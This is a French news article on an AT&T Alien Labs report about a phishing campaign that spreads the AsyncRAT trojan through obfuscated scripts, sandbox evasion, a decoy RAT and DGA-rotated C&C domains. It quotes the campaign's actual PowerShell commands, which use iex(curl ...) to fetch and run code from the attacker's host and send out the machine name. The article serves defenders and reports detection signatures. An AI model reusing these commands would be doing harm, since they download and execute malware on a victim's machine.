Au cours des 11 derniers mois, un cybergang a ciblé les employés de diverses entreprises avec des courriels d'hameçonnage distribuant un programme trojan open source appelé AsyncRAT. Parmi les cibles figuraient des entreprises gérant des infrastructures clés aux États-Unis. Selon la division de cybersécurité Alien Labs d'AT&T, l'infrastructure de commande et de contrôle (C&C) des attaquants utilise un algorithme de génération de domaines (Domain Generation Algorithm, DGA) pour effectuer une rotation entre un grand nombre de domaines pour rendre le blocage du trafic plus difficile. Et aussi générer de nouveaux échantillons de l'outil malveillant pour éviter d'être détectés. Les chercheurs ont identifié plus de 300 échantillons et 100 domaines associés à cette campagne.

« Publié en 2019, l’outil d'accès à distance open source AsyncRAT est toujours disponible sur Github », indiquent les chercheurs dans leur rapport. « Comme tout outil d'accès à distance, il peut être exploité comme un cheval de Troie d'accès à distance (Remote Access Trojan, RAT), en particulier quand il est libre d'accès et d'utilisation comme c’est le cas ici. C’est une des raisons pour laquelle ce RAT est l’un des plus couramment utilisés. AsyncRAT se caractérise notamment par sa fonction d'enregistreur de frappes, les techniques d'exfiltration et/ou la mise en place d'un accès initial en vue de délivrer une charge utile finale. Il n'est pas rare que des acteurs malveillants, même chevronnés, utilisent des frameworks et des outils de logiciels malveillants open source. En effet, ils présentent plusieurs avantages, notamment des coûts de développement peu élevés par rapport aux outils personnalisés et un moindre risque puisque ces outils ne sont pas associés à un acteur en particulier. En fait, AsyncRAT lui-même a été utilisé en 2022 par un groupe APT que l'entreprise de sécurité Trend Micro identifie comme Earth Berberoka aka GamblingPuppet.

Des scripts de livraison bien obfusqués

Les courriels de phishing analysés par Alien Labs et d'autres chercheurs, dont Igal Lytzki de Microsoft, utilisaient une technique de détournement de thread pour diriger les utilisateurs vers une page d'hameçonnage, laquelle finissait par déposer un fichier JavaScript (.js) sur les ordinateurs des utilisateurs. Une fois ouvert dans le bloc-notes, le script faisait apparaître un grand nombre de mots anglais aléatoires commentés. Par le passé, dans le cadre d'autres campagnes, des chercheurs ont également signalé des variantes du script avec des caractères sanskrits. Le script est fortement obfusqué par des fonctions qui cachent et extraient le code malveillant réel de différentes parties du fichier. Son objectif est de télécharger la charge utile de deuxième étape à partir d'une URL, elle-même codée à l'aide d'un chiffrement personnalisé et de valeurs décimales au lieu de caractères ASCII.

La charge utile se présente sous forme d’un autre script codé écrit en PowerShell, exécuté directement en mémoire sans être sauvegardé sur le disque avec une commande "conhost -headless powershell iex(curl -useb sduyvzep[.]top/1.php?hash=)". Le domaine du serveur C&C fait l'objet d'une rotation périodique. Le script PowerShell exécute encore un autre script PowerShell en invoquant la commande iex(curl -useb "http://sduyvzep[.]top/2.php?id=$env:computername&key=$wiqnfex"). Celle-ci envoie des informations au serveur C&C, comme le nom d'hôte de l'ordinateur et une variable appelée $wiqnfex qui indique si l'ordinateur est plutôt une machine virtuelle ou un bac à sable. Cette valeur est définie après vérification par le premier script de l'adaptateur de la carte graphique et le BIOS du système, et leur émulation possible dans une machine virtuelle. Si le serveur C&C détermine que $wiqnfex indique une cible valide, il déploie AsyncRAT. Si la valeur de la variable indique une VM ou un bac à sable possible, il redirige la demande vers Google ou vers un script PowerShell différent qui télécharge et lance un leurre RAT. « Une fois décompilé, le RAT fait office de leurre pour les chercheurs qui scrutent la campagne », expliquent les chercheurs d'Alien Lab. « Plusieurs raisons expliquent pourquoi l'échantillon se fait passer pour RAT. Le nom de l'assemblage est DecoyClient, et la configuration n'est pas chiffrée comme elle le serait dans un échantillon AsyncRAT. De plus, l'échantillon ne contient pas de serveur C&C, mais uniquement des adresses de bouclage. Enfin, parmi les données à exfiltrer vers le C&C, on trouve la chaîne de caractères "LOL" ».

Un domaine de commande et de contrôle supplémentaire chaque semaine

En plus de rendre régulièrement aléatoire le code des scripts et les échantillons de logiciels malveillants pour échapper à la détection, les attaquants changent également de domaine de commande et de contrôle (C&C) chaque semaine. Cependant, les chercheurs d'Alien Lab ont réussi à réaliser une rétro-ingénierie de l'algorithme de génération de domaines, qui, avec plusieurs autres constantes comme le domaine de premier niveau (Top Level Domain, TLD) (.top), le registrar, c’est-à-dire le bureau d’enregistrement du nom de domaine, et le nom de l'organisation utilisés pour enregistrer les domaines, ont pu trouver les domaines utilisés dans le passé et obtenir des échantillons antérieurs des scripts de déploiement. « Ces domaines présentent les mêmes caractéristiques que celles mentionnées précédemment, à la différence qu'ils sont composés de 15 caractères », expliquent les chercheurs. « Cela nous permet de pivoter et de trouver des échantillons historiques basés sur l’algorithme de génération de domaines (DGA), mais aussi de construire des détections pour identifier les infrastructures futures malgré tous leurs efforts pour échapper à l'EDR (Endpoint Detection and Response) et aux détections statiques ». Le rapport de la division de cybersécurité Alien Labs d'AT&T comprend des signatures de détection pour cette campagne, utilisables avec le système de détection d'intrusion open-source Suricata, ainsi qu'une liste d'indicateurs de compromission (Indicators of Compromise, IOC) qui peuvent servir à construire des détections pour d'autres systèmes.